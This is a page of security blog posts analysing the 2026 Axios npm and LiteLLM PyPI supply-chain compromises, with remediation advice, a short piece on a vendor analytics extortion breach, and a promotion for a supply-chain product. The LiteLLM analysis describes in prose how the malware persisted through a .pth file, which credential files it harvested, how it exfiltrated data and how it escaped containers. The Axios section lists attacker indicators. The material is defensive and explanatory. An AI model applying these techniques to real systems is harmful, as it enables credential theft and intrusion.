This “shadow token” problem highlights a critical gap in infrastructure assurance. Many organisations “upgrade” to secure workflows without deactivating the legacy systems they were meant to replace.⁶ In the case of Axios, the presence of a single unrotated token rendered the entire SLSA (Supply-chain Levels for Software Artefacts) provenance framework ineffective for the malicious versions.⁶ For professionals, the lesson is clear: identity-based security is only effective when possession-based security is explicitly revoked.⁶

Remediation Protocol: Recovery and Hardening Strategies

The ephemeral nature of the Axios infection window does not diminish the severity of the compromise. Organisations must treat any system that resolved to [email protected] or 0.30.4 as fully compromised, characterised by a state of “assumed breach” where an interactive attacker had arbitrary code execution.

Phase 1: Identification and Isolation

Lockfile Audit: Scan all package-lock.json, yarn.lock, and pnpm-lock.yaml files for explicit references to the affected versions or the plain-crypto-js dependency.
Environment Check: Run npm ls plain-crypto-js or search node_modules for the directory. Note that even if package.json inside this folder looks clean, the presence of the folder itself is confirmation of execution.
Artefact Hunting: Search for platform-specific persistence artefacts:
- Windows: %PROGRAMDATA%\wt.exe and %PROGRAMDATA%\system.bat.
- macOS: /Library/Caches/com.apple.act.mond.
- Linux: /tmp/ld.py.
Network Triage: Inspect DNS and firewall logs for outbound connections to sfrclak[.]com or the IP 142.11.206.73 on port 8000.

Phase 2: Recovery and Revocation

Secret Revocation: Do not simply rotate keys; they must be fully revoked and reissued. This includes AWS/Cloud IAM roles, GitHub/GitLab tokens, SSH keys, npm tokens, and all .env secrets accessible by the infected process.
Infrastructure Rebuild: Do not attempt to “clean” infected workstations or CI runners. Rebuild them from known-clean snapshots or base images to ensure no persistence survives the remediation.
Audit Lateral Movement: Review internal logs (e.g., AWS CloudTrail, GitHub audit logs) for unusual activity following the infection window, as the RAT was designed to move beyond the initial host.

Phase 3: Strategic Hardening

Enforce Lockfile Integrity: Standardise on npm ci (or equivalent) in CI/CD pipelines to ensure only the committed lockfile is used, preventing silent dependency upgrades.
Disable Lifecycle Scripts: Use the –ignore-scripts flag during installation in build environments to block the execution of postinstall droppers like setup.js.
Identity Overhaul: Explicitly revoke all long-lived npm API tokens and mandate the use of OIDC Trusted Publishing with provenance attestations.

The Future of Infrastructure Assurance: Vibe Coding and AI Risks

The Axios incident occurred in a landscape increasingly defined by “vibe coding”—the rapid development of software using AI tools with minimal human input.²³ In March 2026, Britain’s National Cyber Security Centre (NCSC) issued a stern warning that the rise of vibe coding could exacerbate the risks of supply chain poisoning.²³ AI coding assistants often suggest dependencies and automatically resolve version updates based on “vibes” or perceived popularity, without performing the rigorous security vetting required for foundational libraries.²³

The Axios breach perfectly exploited this dynamic. A developer using an AI-assisted “copilot” might have been prompted to “update all dependencies to resolve security alerts”.²³ If the AI tool resolved to [email protected] during the infection window, it would have pulled the BlueNoroff payload into the environment with the speed of automated efficiency.²³ This friction-free path for malware represents a new frontier of cyber risk, where the very tools meant to increase productivity are weaponised to accelerate the distribution of state-sponsored malware.²³

Furthermore, researchers have identified that AI models themselves can be manipulated to “hallucinate” or suggest malicious packages if the naming and description are sufficiently deceptive.²⁴ The plain-crypto-js package, with its mimicry of the legitimate crypto-js library, was designed to pass the “vibe check” of both humans and AI assistants.⁶

Risk Factor	Impact on Supply Chain	Defensive Response
Automated Updates	AI tools pull poisoned versions in seconds.²³	Pin dependencies; use npm ci.³
Shadow Identity	AI systems create untracked accounts and tokens.²⁶	Strict IAM governance and behavioral monitoring.²⁶
Vulnerable Generation	AI propagates known-vulnerable code patterns.²³	Automated code review and logic-based security architecture.²⁴
Speed over Safety	Tight deadlines pressure developers to skip audits.¹⁵	Mandate human-in-the-loop for dependency changes.²⁴

The Axios compromise, following closely on the heels of the LiteLLM and Trivy incidents, indicates that the “status quo of manually produced software” is being disrupted by a wave of AI-driven complexity that the security community is struggling to contain.⁷ Achieving future infrastructure assurance will require not just better scanners, but a deterministic security architecture that limits what code can do even if it is compromised or malicious.²⁴

Conclusion: Strategic Recommendations for Professional Resilience

The software supply chain is no longer a peripheral concern; it is the primary battleground for nation-state actors seeking to fund their operations and gain long-term strategic access to global digital infrastructure.¹⁰ The Axios breach demonstrated that even the most trusted tools can be weaponised in minutes, and that modern security frameworks like OIDC are only as effective as the legacy tokens they leave behind.⁶

For organisations seeking to protect their assets from future supply chain cascades, the following recommendations are essential:

Immediate Remediation for Axios: Any system that resolved to [email protected] or 0.30.4 must be treated as fully compromised.³ This requires the immediate revocation and reissue of all environment secrets, SSH keys, and cloud tokens accessible from that system.² The presence of the node_modules/plain-crypto-js directory is a sufficient indicator of compromise, regardless of the apparent “cleanliness” of its manifest.⁶
Legacy Token Sunset: Organisations must perform a comprehensive audit of their npm and GitHub tokens.²² All static, long-lived API tokens must be revoked and replaced with OIDC-based Trusted Publishing.⁹ The Axios breach proves that the mere existence of a legacy token is a vulnerability that state-sponsored actors will proactively seek to exploit.⁶
Enforced Dependency Isolation: Build environments and CI/CD pipelines should be configured with a “deny-by-default” egress policy.¹⁵ Legitimate build tasks should be restricted to known, trusted domains, and all postinstall scripts should be disabled via –ignore-scripts unless explicitly required and audited.²
Adopt Behavioural and Anomaly Detection: Traditional IOC-based detection is insufficient against sophisticated actors who use self-deleting malware and ephemeral infrastructure.7 Organisations must implement behavioural monitoring to detect the 60-second beaconing cadence, unusual process detachment (PID 1), and unauthorised directory enumeration that characterise nation-state RATs.⁷

The Axios compromise of 2026 was a success for the adversary, but it provides a critical empirical lesson for the defender. In an ecosystem of 100 million weekly downloads, security is a shared responsibility that must be maintained with constant vigilance and an uncompromising commitment to infrastructure assurance.⁸

References and Further Reading

Axios supply chain attack chops away at npm trust – Malwarebytes, accessed on March 31, 2026, https://www.malwarebytes.com/blog/news/2026/03/axios-supply-chain-attack-chops-away-at-npm-trust
Axios NPM Supply Chain Compromise: Malicious Packages Deliver Remote Access Trojan, accessed on March 31, 2026, https://www.sans.org/blog/axios-npm-supply-chain-compromise-malicious-packages-remote-access-trojan
The Axios Compromise: What Happened, What It Means, and What You Should Do Right Now – HeroDevs, accessed on March 31, 2026, https://www.herodevs.com/blog-posts/the-axios-compromise-what-happened-what-it-means-and-what-you-should-do-right-now
Axios npm Package Compromised: Supply Chain Attack Delivers …, accessed on March 31, 2026, https://snyk.io/blog/axios-npm-package-compromised-supply-chain-attack-delivers-cross-platform/
Inside the Axios supply chain compromise – one RAT to rule them all …, accessed on March 31, 2026, https://www.elastic.co/security-labs/axios-one-rat-to-rule-them-all
Supply-Chain Compromise of axios npm Package – Huntress, accessed on March 31, 2026, https://www.huntress.com/blog/supply-chain-compromise-axios-npm-package
Axios Compromised: The 2-Hour Window Between Detection and Damage, accessed on March 31, 2026, https://www.stream.security/post/axios-compromised-the-2-hour-window-between-detection-and-damage
The LiteLLM Supply Chain Cascade: Empirical Lessons in AI Credential Harvesting and the Future of Infrastructure Assurance – Nocturnalknight’s Lair, accessed on March 31, 2026, https://nocturnalknight.co/the-litellm-supply-chain-cascade-empirical-lessons-in-ai-credential-harvesting-and-the-future-of-infrastructure-assurance/
Decoding the GitHub recommendations for npm maintainers – Datadog Security Labs, accessed on March 31, 2026, https://securitylabs.datadoghq.com/articles/decoding-the-recommendations-for-npm-maintainers/
Axios npm package compromised, posing a new supply chain threat – Techzine Global, accessed on March 31, 2026, https://www.techzine.eu/news/security/140082/axios-npm-package-compromised-posing-a-new-supply-chain-threat/
axios Compromised on npm – Malicious Versions Drop Remote …, accessed on March 31, 2026, https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
Axios npm Hijack 2026: Everything You Need to Know – IOCs, Impact & Remediation, accessed on March 31, 2026, https://socradar.io/blog/axios-npm-supply-chain-attack-2026-ciso-guide/
Axios Compromised With A Malicious Dependency – OX Security, accessed on March 31, 2026, https://www.ox.security/blog/axios-compromised-with-a-malicious-dependency/
npm Supply Chain Attack: Massive Compromise of debug, chalk, and 16 Other Packages, accessed on March 31, 2026, https://www.upwind.io/feed/npm-supply-chain-attack-massive-compromise-of-debug-chalk-and-16-other-packages
338 Malicious npm Packages Linked to North Korean Hackers | eSecurity Planet, accessed on March 31, 2026, https://www.esecurityplanet.com/news/338-malicious-npm-packages-linked-to-north-korean-hackers/
June’s Sophisticated npm Attack Attributed to North Korea | Veracode, accessed on March 31, 2026, https://www.veracode.com/blog/junes-sophisticated-npm-attack-attributed-to-north-korea/
Technology – Axios, accessed on March 31, 2026, https://www.axios.com/technology
Axios npm Supply Chain Compromise (2026-03-31) — Full RE + …, accessed on March 31, 2026, https://gist.github.com/N3mes1s/0c0fc7a0c23cdb5e1c8f66b208053ed6
Cyberwar Methods and Practice 26 February 2024 – osnaDocs, accessed on March 31, 2026, https://osnadocs.ub.uni-osnabrueck.de/bitstream/ds-2024022610823/1/Cyberwar_26_Feb_2024_Saalbach.pdf
Polyfill Supply Chain Attack Impacting 100k Sites Linked to North Korea – SecurityWeek, accessed on March 31, 2026, https://www.securityweek.com/polyfill-supply-chain-attack-impacting-100k-sites-linked-to-north-korea/
Weekly Security Articles 05-May-2023 – ATC GUILD INDIA, accessed on March 31, 2026, https://www.atcguild.in/iwen/iwen1923/General/weekly%20security%20items%2005-May-2023.pdf
Strengthening npm security: Important changes to authentication and token management, accessed on March 31, 2026, https://github.blog/changelog/2025-09-29-strengthening-npm-security-important-changes-to-authentication-and-token-management/
Vibe coding could reshape SaaS industry and add security risks, warns UK cyber agency, accessed on March 31, 2026, https://therecord.media/vibe-coding-uk-security-risk
NCSC warns vibe coding poses a major risk to businesses | IT Pro – ITPro, accessed on March 31, 2026, https://www.itpro.com/security/ncsc-warns-vibe-coding-poses-a-major-risk
Security Researchers Sound the Alarm on Vulnerabilities in AI-Generated Code, accessed on March 31, 2026, https://www.cc.gatech.edu/external-news/security-researchers-sound-alarm-vulnerabilities-ai-generated-code
Sitemap – Cybersecurity Insiders, accessed on March 31, 2026, https://www.cybersecurity-insiders.com/sitemap/
IAM – Nocturnalknight’s Lair, accessed on March 31, 2026, https://nocturnalknight.co/category/iam/
Widespread Supply Chain Compromise Impacting npm Ecosystem – CISA, accessed on March 31, 2026, https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem

The LiteLLM Supply Chain Cascade: Empirical Lessons in AI Credential Harvesting and the Future of Infrastructure Assurance

By Ramkumar Sundarakalatharan | March 27, 2026 | Comments 0 Comment

TL:DR: This is an Empirical Study and could be quite long for non-researchers. If you’d prefer the remediation protocol directly, you can head to the bottom. In case you want to understand the anatomy of the attack and background, I have made a video that can be a quick explainer.

Background and Summary:

The compromise of the LiteLLM Python library in March 2026 stands as a definitive case study in the fragility of modern AI infrastructure. LiteLLM, an open-source API gateway, acts as a critical abstraction layer enabling developers to interface with over 100 LLM providers through a unified OpenAI-style format.¹ It effectively becomes the central node through which an organisation’s most sensitive AI credentials, including keys for OpenAI, Anthropic, Google Vertex AI, and Amazon Bedrock, are routed and managed.² Its scale is reflected in its reach, averaging approximately 97 million downloads per month on PyPI.³

On 24 March 2026, malicious actors identified as TeamPCP published two poisoned versions, 1.82.7 and 1.82.8, directly to PyPI.³ The choice of target was deliberate. By compromising a package designed to centralise AI credentials, the attackers positioned themselves for broad and immediate access across multiple providers. The breach impacted high-profile organisations such as NASA, Netflix, Stripe, and NVIDIA, underscoring LiteLLM’s deep integration into production environments.⁵

The attack itself leveraged a subtle but powerful mechanism. Version 1.82.8 introduced a malicious .pth file, ensuring code execution at Python interpreter startup, regardless of whether the library was imported.⁴ This effectively turned installation into a compromise. Detection, however, did not come from security tooling. A flaw in the attacker’s implementation triggered an uncontrolled fork bomb, exhausting system resources and crashing machines.⁵ This failure, described as “vibe coding”, became the only signal that exposed the breach, likely preventing widespread, silent exfiltration across production systems.

The Architectural Criticality of LiteLLM and the Blast Radius

The positioning of LiteLLM within the AI stack represents a classic single point of failure. Modern enterprise AI deployments often involve multiple providers to balance cost, latency, and performance requirements. LiteLLM provides the necessary proxy logic to handle these providers through a single endpoint. Consequently, the environment variables and configuration files associated with LiteLLM deployments house a concentrated wealth of sensitive information.

LiteLLM Market Penetration and Integration Scale

Metric	Value / Entity
Monthly Downloads (PyPI)	95,000,000 – 97,000,000 ³
Daily Download Average	~3.4 – 3.6 Million ³
Direct Institutional Users	NASA, Netflix, NVIDIA, Stripe ³
Transitive Dependencies	DSPy, CrewAI, MLflow, Open Interpreter ²
GitHub Stars	> 40,000 ⁵
Cloud Presence	Found in ~36% of cloud environments ⁸

The blast radius of the March 24th incident extended far beyond direct users of LiteLLM. The library is a frequent transitive dependency for a wide range of AI frameworks and orchestration tools. Organizations using DSPy for building modular AI programs or CrewAI for agent orchestration inadvertently pulled the malicious versions into their environments without ever explicitly initiating a pip install litellm command.² This highlights a fundamental tension in the AI development cycle: the speed of adoption for agentic AI tools has outpaced the visibility that security teams have into the underlying software supply chain.²

The Anatomy of the Poisoning: Versions 1.82.7 and 1.82.8

The poisoning of the LiteLLM package was conducted with a high degree of stealth, bypassing the project’s official GitHub repository entirely. The malicious versions were published straight to PyPI using stolen credentials, meaning there were no corresponding code changes, release tags, or review processes visible to the community on GitHub until after the damage had been initiated.³

Technical Divergence in Malicious Releases

In version 1.82.7, the attackers injected 12 lines of obfuscated, base64-encoded code into the litellm/proxy/proxy_server.py file.2 This payload was designed to trigger during the import of the litellm.proxy module, which is the standard procedure for users deploying LiteLLM as a proxy server. While effective, this required the package to be active to execute its malicious logic.9Version 1.82.8, however, utilised the much more aggressive .pth file mechanism. The attackers included a file named litellm_init.pth (approximately 34,628 bytes) within the package root.⁹ In Python, .pth files are automatically processed and executed during the interpreter’s initialisation phase. By placing the payload here, the attackers ensured that the malware would fire the second the package existed in a site-packages directory on the machine, whether it was imported or not.⁴ This mechanism is particularly dangerous in environments where AI development tools or language servers (like those in VS Code or Cursor) periodically scan and initialise Python environments in the background.⁵

Execution Triggers and Persistence Mechanisms

The .pth launcher in version 1.82.8 utilised a subprocess. Popen call to execute a second Python process containing the actual data-harvesting payload.10 Because the initialisation logic was flawed, an oversight attributed to “vibe coding”, this subprocess itself triggered the .pth file again, initiating a recursive chain of process creation.⁹ The resulting exponential fork bomb can be described by the function N(t)= 2^t, where ^N is the number of processes and ^t is the number of initialisation cycles. Within a matter of seconds, the affected machines became unresponsive, leading to the crashes that ultimately exposed the operation.⁹

The Discovery: FutureSearch and the Cursor Connection

The identification of the LiteLLM compromise began with a developer at FutureSearch, Callum McMahon, who was testing a Model Context Protocol (MCP) plugin within the Cursor AI editor.² The plugin utilised the uvx tool for Python package management, which automatically pulled in the latest version of LiteLLM as an unpinned transitive dependency.⁹When the Cursor IDE attempted to load the MCP server, the uvx tool downloaded LiteLLM 1.82.8. Almost immediately, the developer’s machine became unresponsive due to RAM exhaustion.⁹ Upon investigation using the Claude Code assistant to help root-cause the crash, McMahon identified the suspicious litellm_init.pth file and traced it back to the newly published PyPI release.⁷ This discovery highlights a significant security gap in the current AI agent ecosystem: many popular development tools and “copilots” automatically pull and execute dependencies with little to no review, creating a frictionless path for supply chain malware to reach the local machines of developers who hold broad access to corporate infrastructure.²

The TeamPCP Attack Chain: From Security Tools to AI Infrastructure

The compromise of LiteLLM was the culminating event of a multi-week campaign by TeamPCP (also tracked as PCPcat, Persy_PCP, DeadCatx3, and ShellForce).⁹ This actor demonstrated a profound ability to execute a “cascading” supply chain attack, where the credentials stolen from one ecosystem were used to penetrate the next.¹⁵

The March 19th Inflection Point: The Trivy Compromise

The campaign gained critical momentum on March 19, 2026, when TeamPCP targeted Aqua Security’s Trivy, the most widely adopted open-source vulnerability scanner in the cloud-native ecosystem.¹⁷ By exploiting a misconfigured workflow and a privileged Personal Access Token (PAT) that had not been fully revoked following a smaller incident in late February, the attackers gained access to Trivy’s release infrastructure.¹⁸

The attackers force-pushed malicious commits and tags (affecting 76 out of 77 tags) to the aquasecurity/trivy-action repository, silently replacing legitimate security tools with weaponized versions.⁶ Because LiteLLM utilized Trivy within its own CI/CD pipeline for automated security scanning, the execution of the poisoned Trivy binary allowed TeamPCP to harvest the PYPI_PUBLISH token for the LiteLLM project from the runner’s memory.⁹ This created a recursive irony: the security tool designed to protect the project became the very mechanism of its downfall.⁵

Multi-Ecosystem Campaign Timeline

By the time LiteLLM was poisoned, TeamPCP had already breached five major package ecosystems in a period of two weeks.⁴ Their operations moved with a speed that exceeded the industry’s ability to respond, using each breach as a stepping stone to unlock the next layer of the software stack.³

Deep Analysis of the Malware Payload

The malware deployed in the LiteLLM attack was a sophisticated, three-stage infostealer designed for a comprehensive credential-harvesting operation coupled with a long-term persistence within cloud-native environments.

Stage 1: The Harvest

Once triggered, the payload initiated an exhaustive sweep of the host file system and memory. The malware was specifically programmed to seek out the “keys to the kingdom”—credentials that would allow for further lateral movement or data theft.

System and Environment: The malware dumped all environment variables, which in AI workloads almost invariably include OPENAI_API_KEY, ANTHROPIC_API_KEY, and other LLM provider tokens.² It also captured hostnames, network routing tables, and auth logs from /var/log/auth.log.⁹
Developer Credentials: The script targeted ~/.ssh/ for private keys, ~/.gitconfig and ~/.git-credentials for repository access, and shell history files to identify sensitive commands or passwords.²
Cloud and Infrastructure: It explicitly searched for AWS credentials (via IMDSv2 and ~/.aws/), GCP service account files, Azure tokens, and Kubernetes kubeconfig files.⁹
Financial and Database Data: The payload harvested database connection strings, Docker configs, and cryptocurrency wallet files for platforms including Bitcoin, Ethereum, and Solana.²

Stage 2: Encrypted Exfiltration

To avoid detection by network monitoring tools, the harvested data was bundled into an archive named tpcp.tar.gz and encrypted using a hybrid scheme. The malware generated a random 32-byte AES-256 session key to encrypt the archive and then encrypted that key using a hardcoded 4096-bit RSA public key.⁹ This ensured that only the threat actors could decrypt the stolen data. The encrypted bundle was exfiltrated via HTTPS POST to models.litellm.cloud, a typosquatted domain registered just one day prior to the attack.⁹

As a secondary exfiltration channel, if the primary C2 server was unreachable, the malware was configured to use a stolen GitHub PAT to create a public repository named tpcp-docs in the victim’s own GitHub account, uploading the stolen credentials as release assets.⁶

Stage 3: Persistence and the Kubernetes Worm

The malware went beyond simple data theft to ensure long-term access. On local development machines, it installed a script named sysmon.py in ~/.config/sysmon/ and created a systemd user service named “System Telemetry Service” to ensure the backdoor would run persistently.⁹In environments where a Kubernetes service account token was discovered, the malware initiated a “worm” behavior. It attempted to deploy a DaemonSet or privileged pods (often named node-setup) in the kube-system namespace.⁹ These pods used hostPath mounts to escape the container environment and access the underlying node’s root filesystem, allowing the attackers to harvest SSH keys from every node in the cluster and establish a persistent foothold at the infrastructure level.⁷

The Adversary Persona: TeamPCP and the Telegram Thread

TeamPCPs’ operations are characterised by a blend of technical innovation and explicit psychological warfare. The group maintains an active presence on Telegram through channels such as @teampcp and @Persy_PCP, where they showcase their exploits and interact with the security community.⁹ Following the successful poisoning of the security and AI stacks, the group posted a chilling warning: “Many of your favourite security tools and open-source projects will be targeted in the months to come. Stay tuned”.²²

Analysis of their techniques suggests a group that is highly automated and focused on the “security-AI stack”.¹⁵ Their willingness to target vulnerability scanners like Trivy and KICS indicates a strategic choice to subvert the tools that organizations trust implicitly.² Furthermore, their “kamikaze” payload—which on Iranian systems was programmed to delete the host filesystem and force-reboot the node—suggests a geopolitical dimension to their operations that may be independent of their broader credential-harvesting goals.⁶

Structural Vulnerabilities in AI Agent Tooling

The LiteLLM incident exposes a fundamental tension in the current era of AI development. The speed with which companies are shipping AI agents, copilots, and internal tools has created a “credential dumpster fire” where thousands of packages run in environments with broad, unmonitored access.²The fact that LiteLLM entered a developer’s machine through a “dependency of a dependency of a plugin” is illustrative of the lack of visibility that currently plagues the ecosystem.² Tools like uvx and npx, while providing immense convenience for running one-off tasks, create a frictionless environment for supply chain attacks to propagate.⁹ Because these tools often default to the latest version of a package, they are the primary propagation vector for poisoned releases that stay active on PyPI for even a few hours.²³

Closing the Visibility Gap: From Recovery to Prevention

The failure of traditional security measures during the LiteLLM and Trivy attacks highlights a structural limitation in current software assurance. Standard vulnerability scanners—including the very ones compromised in this campaign—were unable to detect the threat because the malicious code was published using legitimate credentials and passed all standard integrity checks.9 Recovering from this incident requires immediate action; preventing the next one requires a fundamentally different approach to supply chain visibility.

Comprehensive Remediation Protocol

For organizations that have been affected by LiteLLM versions 1.82.7 or 1.82.8, the path to recovery must be rigorous and comprehensive. A simple upgrade to version 1.82.9 or later is insufficient, as the primary objective of the malware was the theft of long-term credentials.⁹

Moving forward, security teams should implement “dependency cooldowns” and use tools like uv or pip with the --exclude-newer flag to prevent the automatic installation of packages that have been available for less than 72 hours.²⁴ Furthermore, pinning dependencies to immutable commit SHAs rather than version tags is now a requirement for secure CI/CD pipelines, as tags can be easily force-pushed by a compromised account.¹⁰

The remediation steps above address the immediate crisis, but they do not answer a harder question: what would have caught this attack before it reached production? The LiteLLM poisoning succeeded precisely because it exploited the blind spots of CVE-based scanning. There was no vulnerability to match against; only behavioural anomalies that require a different class of analysis to detect.

Why Trace-AI Detects What Traditional Tools Miss

Trace-AI provides real-time visibility into both direct and transitive dependencies by extracting a complete SBOM directly from builds and pipelines.²⁵ Rather than relying solely on a lagging database of known vulnerabilities (NVD/CVE), Trace-AI uses five key scoring dimensions to identify risk before it is publicly disclosed.

Final Conclusion

The LiteLLM supply chain attack of 2026 was not a failure of individual developers but a failure of the current trust model of the open-source ecosystem. When a single poisoned package can reach the production environments of NASA, Netflix, and NVIDIA in hours, the “vibe coding” approach to dependency management must end.³The TeamPCP campaign has shown that attackers are moving upstream, targeting the tools that security professionals and AI researchers rely on most. The concentrated value of AI API keys and cloud credentials makes the AI orchestration layer a prime target for high-impact harvesting operations.² As organisations continue to deploy AI at scale, the only way to maintain a secure posture is to achieve deep, real-time visibility into the entire supply chain. Tools like Trace-AI by Zerberus.ai provide the necessary foundation for this new era of assurance, ensuring that the software you depend on is a source of strength, not a vector for catastrophic compromise.²⁵

References and Further Reading

litellm – PyPI, accessed on March 25, 2026, https://pypi.org/project/litellm/
The Library That Holds All Your AI Keys Was Just Backdoored: The LiteLLM Supply Chain Compromise – ARMO Platform, accessed on March 25, 2026, https://www.armosec.io/blog/litellm-supply-chain-attack-backdoor-analysis/
The LiteLLM Supply Chain Attack: A Complete Technical … – Blog, accessed on March 25, 2026, https://blog.dreamfactory.com/the-litellm-supply-chain-attack-a-complete-technical-breakdown-of-what-happened-who-is-affected-and-what-comes-next
TeamPCP Supply Chain Attacks Escalate Across Open Source – Evrim Ağacı, accessed on March 25, 2026, https://evrimagaci.org/gpt/teampcp-supply-chain-attacks-escalate-across-open-source-534993
litellm got poisoned today. Found because an MCP plugin in Cursor …, accessed on March 25, 2026, https://www.reddit.com/r/cybersecurity/comments/1s2sfbl/litellm_got_poisoned_today_found_because_an_mcp/
LiteLLM compromised on PyPI: Tracing the March 2026 TeamPCP supply chain campaign, accessed on March 25, 2026, https://securitylabs.datadoghq.com/articles/litellm-compromised-pypi-teampcp-supply-chain-campaign/
Supply Chain Attack in litellm 1.82.8 on PyPI – FutureSearch, accessed on March 25, 2026, https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/
LiteLLM TeamPCP Supply Chain Attack: Malicious PyPI Packages …, accessed on March 25, 2026, https://www.wiz.io/blog/threes-a-crowd-teampcp-trojanizes-litellm-in-continuation-of-campaign
How a Poisoned Security Scanner Became the Key to Backdooring LiteLLM | Snyk, accessed on March 25, 2026, https://snyk.io/articles/poisoned-security-scanner-backdooring-litellm/
No Prompt Injection Required – FutureSearch, accessed on March 25, 2026, https://futuresearch.ai/blog/no-prompt-injection-required/
Don’t Let Cyber Risk Kill Your GenAI Vibe: A Developer’s Guide – mkdev, accessed on March 25, 2026, https://mkdev.me/posts/don-t-let-cyber-risk-kill-your-genai-vibe-a-developer-s-guide
LiteLLM Supply Chain Breakdown – Upwind Security, accessed on March 25, 2026, https://www.upwind.io/feed/litellm-pypi-supply-chain-attack-malicious-release
Blogmarks – Simon Willison’s Weblog, accessed on March 25, 2026, https://simonwillison.net/blogmarks/
Checkmarx KICS Code Scanner Targeted in Widening Supply Chain Hit – Dark Reading, accessed on March 25, 2026, https://www.darkreading.com/application-security/checkmarx-kics-code-scanner-widening-supply-chain
When Security Scanners Become the Weapon: Breaking Down the Trivy Supply Chain Attack – Palo Alto Networks, accessed on March 25, 2026, https://www.paloaltonetworks.com/blog/cloud-security/trivy-supply-chain-attack/
TeamPCP expands: Supply chain compromise spreads from Trivy to Checkmarx GitHub Actions | Sysdig, accessed on March 25, 2026, https://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions
Guidance for detecting, investigating, and defending against the Trivy supply chain compromise | Microsoft Security Blog, accessed on March 25, 2026, https://www.microsoft.com/en-us/security/blog/2026/03/24/detecting-investigating-defending-against-trivy-supply-chain-compromise/
The Trivy Supply Chain Compromise: What Happened and Playbooks to Respond, accessed on March 25, 2026, https://www.legitsecurity.com/blog/the-trivy-supply-chain-compromise-what-happened-and-playbooks-to-respond
Trivy’s March Supply Chain Attack Shows Where Secret Exposure Hurts Most, accessed on March 25, 2026, https://blog.gitguardian.com/trivys-march-supply-chain-attack-shows-where-secret-exposure-hurts-most/
From Trivy to Broad OSS Compromise: TeamPCP Hits Docker Hub, VS Code, PyPI, accessed on March 25, 2026, https://www.securityweek.com/from-trivy-to-broad-oss-compromise-teampcp-hits-docker-hub-vs-code-pypi/
Trivy Compromised by “TeamPCP” | Wiz Blog, accessed on March 25, 2026, https://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
Incident Timeline // TeamPCP Supply Chain Campaign, accessed on March 25, 2026, https://ramimac.me/trivy-teampcp/
Simon Willison on generative-ai, accessed on March 25, 2026, https://simonwillison.net/tags/generative-ai/
Simon Willison on uv, accessed on March 25, 2026, https://simonwillison.net/tags/uv/
Software Supply Chain (Trace-AI) | Zerberus.ai, accessed on March 25, 2026, https://www.zerberus.ai/trace-ai
Trace-AI: Know What You Ship. Secure What You Depend On. | Product Hunt, accessed on March 25, 2026, https://www.producthunt.com/products/trace-ai-2

Supply-Chain Extortion Lessons from the Pornhub-Mixpanel Incident

By Ramkumar Sundarakalatharan | December 18, 2025 | Comments 0 Comment

When the Weakest API Becomes the Loudest Breach.

Key Takeaways for Security Leaders

Extortion is the New Prize: Threat actors like ShinyHunters target behavioral context over credit cards because it offers higher leverage for blackmail.
The “Zombie Data” Risk: Storing historical analytics from 2021 in 2025 created a massive liability that outlived the vendor contract.
TPRM Must Be Continuous: Static annual questionnaires cannot detect dynamic shifts in vendor risk or smishing-led credential theft.

You can giggle about the subject if you want. The headlines almost invite it. An adult platform. Premium users. Leaked “activity data.” It sounds like internet tabloid fodder.

But behind the jokes is a breach that should make every security leader deeply uncomfortable. On November 8, 2025, reports emerged that the threat actor ShinyHunters targeted Mixpanel, a third-party analytics provider used by Pornhub. While the source of the data is disputed, the impact is not: over 200 million records of premium user activity were reportedly put on the auction block.

The entry point? A depressingly familiar SMS phishing (smishing) attack. One compromised credential. One vendor environment breached. The result? Total exposure of historical context.

Not a Data Sale, an Extortion Play

This breach is not about dumping databases on underground forums for quick cash. ShinyHunters are not just selling data; they are weaponizing it through Supply-Chain Extortion.

The threat is explicit: Pay, or sensitive behavioral data gets leaked. This data is valuable not because it contains CVV codes, but because it contains context.

What users watched.
When and how often they logged in.
Patterns of behavior that can be correlated, de-anonymized, and weaponized.

That kind of dataset is gold for sophisticated phishing operations and blackmail campaigns. In 2025, this is no longer theft. This is leverage.

The “Zombie Data” Problem: Risk Outlives Revenue

Pornhub stated they had not worked with Mixpanel since 2021. Legally, this distinction matters. Operationally, it’s irrelevant.

If data from 2021 is still accessible in 2025, you haven’t offboarded the vendor; you’ve just stopped paying the bill while keeping the risk open. This is “Zombie Data”—historical records that linger in third-party environments long after the business value has expired.

Why Traditional TPRM Fails the Extortion Test

Most Third-Party Risk Management (TPRM) programs are static compliance exercises—annual PDFs and point-in-time attestations. This model fails because:

Risk is Dynamic: A vendor’s security posture can change in the 364 days between audits.
API Shadows: Data flows often expand without re-scoping the original risk assessment.
Incomplete Offboarding: Data deletion is usually “assumed” via a contract clause rather than verified via technical evidence.

Questions That Actually Reduce Exposure

If incidents like this are becoming the “new normal,” it is because we are asking the wrong questions. To secure the modern supply chain, leadership must ask:

Inventory of Flow: Are we continuously aware of what data is flowing to which vendors today—not just at the time of procurement?
Verification of Purge: Do we treat vendor offboarding as a verifiable security event? (Data deletion should be observable, not just a checked box in an email).
Contextual Blast Radius: If this vendor is breached, is the data “toxic” enough to fuel an extortion campaign?

You Can Outsource Functions, Not Responsibility

It is tempting to believe that liability clauses will protect your brand. They won’t. When a vendor loses your customer data, your organization pays the reputational price. Your users do not care which API failed, and in 2025, regulators rarely do either.

You can outsource your analytics, your infrastructure, and your speed. But you cannot outsource the accountability for your users’ privacy.

Laugh at the headline if you want. But understand the lesson: The next breach may not come through your front door, it will come through the “trusted” side door you forgot to lock years ago.

Defence Tech at Risk: Palantir, Anduril, and Govini in the New AI Arms Race

By Ramkumar Sundarakalatharan | October 11, 2025 | Comments 0 Comment

A Chink in Palantir and Anduril’s Armour? Govini and Others Are Unsheathing the Sword

When Silicon Valley Code Marches to War

A U.S. Army Chinook rises over Gyeonggi Province, carrying not only soldiers and equipment but streams of battlefield telemetry, encrypted packets of sight, sound and position. Below, sensors link to vehicles, commanders to drones, decisions to data. Yet a recent Army memo reveals a darker subtext: the very network binding these forces together has been declared “very high risk.”

The battlefield is now a software construct. And the architects of that code are not defence primes from the industrial era but Silicon Valley firms, Anduril and Palantir. For years, they have promised that agility, automation and machine intelligence could redefine combat efficiency. But when an internal memo brands their flagship platform “fundamentally insecure,” the question is no longer about innovation. It is about survival.

Just as the armour shows its first cracks, another company, Govini, crosses $100 million in annual recurring revenue, sharpening its own blade in the same theatre.

When velocity becomes virtue and verification an afterthought, the chink in the armour often starts in the code.

The Field Brief

